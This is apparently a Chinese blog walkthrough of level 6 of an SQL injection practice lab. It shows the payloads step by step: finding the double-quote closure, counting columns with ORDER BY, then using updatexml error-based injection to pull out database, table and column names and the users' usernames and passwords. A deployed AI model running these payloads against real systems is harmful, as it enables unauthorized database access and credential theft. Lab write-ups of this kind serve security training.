SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
切糕师学AI10 分钟前
MongoDB 是什么?
数据库·mongodb
学历真的很重要19 分钟前
【系统架构师】第三章 数据库系统知识 - 数据库基础到关系代数(详细版)
数据库·学习·职场和发展·系统架构·系统架构师
亓才孓21 分钟前
【MyBatis Plus】Wrapper接口
java·开发语言·数据库·spring boot·mybatis
nudt_qxx28 分钟前
Ubuntu 26.04 LTS“坚毅浣熊”(Resolute Raccoon) 新特性前瞻
linux·数据库·ubuntu
tianzhiyi1989sq30 分钟前
C++工具库之PugiXML使用指南
java·数据库·c++
人道领域43 分钟前
MyBatisPlus高效开发实战指南
java·开发语言·数据库
小李独爱秋1 小时前
模拟面试:解释一下数据库的主从复制的原理,或者说:怎么做的数据库的数据同步?
数据库·sql·mysql·面试·职场和发展·职场发展
梵克之泪1 小时前
一次性查找多个文件,批量文件搜索复制高效方案:咕嘎批量文件查找移动存储系统使用指南,告别手动查找
数据库
源码获取_wx:Fegn08951 小时前
计算机毕业设计|基于springboot + vue鲜花销售管理系统(源码+数据库+文档)
数据库·vue.js·spring boot·后端·课程设计
EverydayJoy^v^2 小时前
Linux Shell 高级编程(1)——grep
数据库